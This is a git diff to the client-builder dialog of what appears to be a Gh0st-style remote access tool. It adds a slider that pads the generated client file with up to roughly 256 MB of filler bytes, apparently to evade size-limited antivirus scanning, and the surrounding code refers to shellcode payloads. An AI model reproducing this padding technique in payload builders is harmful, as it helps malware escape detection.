diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 69c08c7..82180e3 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 5124bdb..67eb8b1 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -103,6 +103,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX) DDV_MaxChars(pDX, m_sGroupName, 23); DDX_Control(pDX, IDC_COMBO_PAYLOAD, m_ComboPayload); DDX_Control(pDX, IDC_STATIC_PAYLOAD, m_StaticPayload); + DDX_Control(pDX, IDC_SLIDER_CLIENT_SIZE, m_SliderClientSize); } @@ -114,6 +115,7 @@ BEGIN_MESSAGE_MAP(CBuildDlg, CDialog) ON_COMMAND(ID_MENU_ENCRYPT_IP, &CBuildDlg::OnMenuEncryptIp) ON_COMMAND(ID_CLIENT_RUNAS_ADMIN, &CBuildDlg::OnClientRunasAdmin) ON_CBN_SELCHANGE(IDC_COMBO_COMPRESS, &CBuildDlg::OnCbnSelchangeComboCompress) + ON_NOTIFY_EX(TTN_NEEDTEXT, 0, &CBuildDlg::OnToolTipNotify) END_MESSAGE_MAP() @@ -403,6 +405,11 @@ void CBuildDlg::OnBnClickedOk() if (ret)MessageBox(CString("ShellCode 转换异常, 异常代码: ") + CString(std::to_string(ret).c_str()), "提示", MB_ICONINFORMATION); } + int size = m_SliderClientSize.GetPos() * 2.56 * 1024 * 1024; + if (size > 0) { + std::vector padding(size, time(0)%256); + WriteBinaryToFile(strSeverFile.GetString(), padding.data(), size, -1); + } MessageBox("生成成功! 文件位于:\r\n" + strSeverFile + tip, "提示", MB_ICONINFORMATION); } SAFE_DELETE_ARRAY(szBuffer); @@ -587,3 +594,19 @@ void CBuildDlg::OnCbnSelchangeComboCompress() m_ComboPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE); m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE); } + +BOOL CBuildDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult) +{ + TOOLTIPTEXTA* pTTT = (TOOLTIPTEXTA*)pNMHDR; + UINT nID = pNMHDR->idFrom; + if (pTTT->uFlags & TTF_IDISHWND) { + // idFrom is actually the HWND of the tool + nID = ::GetDlgCtrlID((HWND)nID); + } + if (nID == IDC_SLIDER_CLIENT_SIZE) { + int size = m_SliderClientSize.GetPos() * 2.56; + sprintf_s(pTTT->szText, "%dM", size); + return TRUE; + } + return FALSE; +} diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index 4ac7f05..78684d1 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -24,6 +24,7 @@ public: protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 CString GetFilePath(CString type, CString filter, BOOL isOpen = TRUE); + BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult); DECLARE_MESSAGE_MAP() public: @@ -51,4 +52,5 @@ public: CComboBox m_ComboPayload; afx_msg void OnCbnSelchangeComboCompress(); CStatic m_StaticPayload; + CSliderCtrl m_SliderClientSize; }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index d16d682..0457d16 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ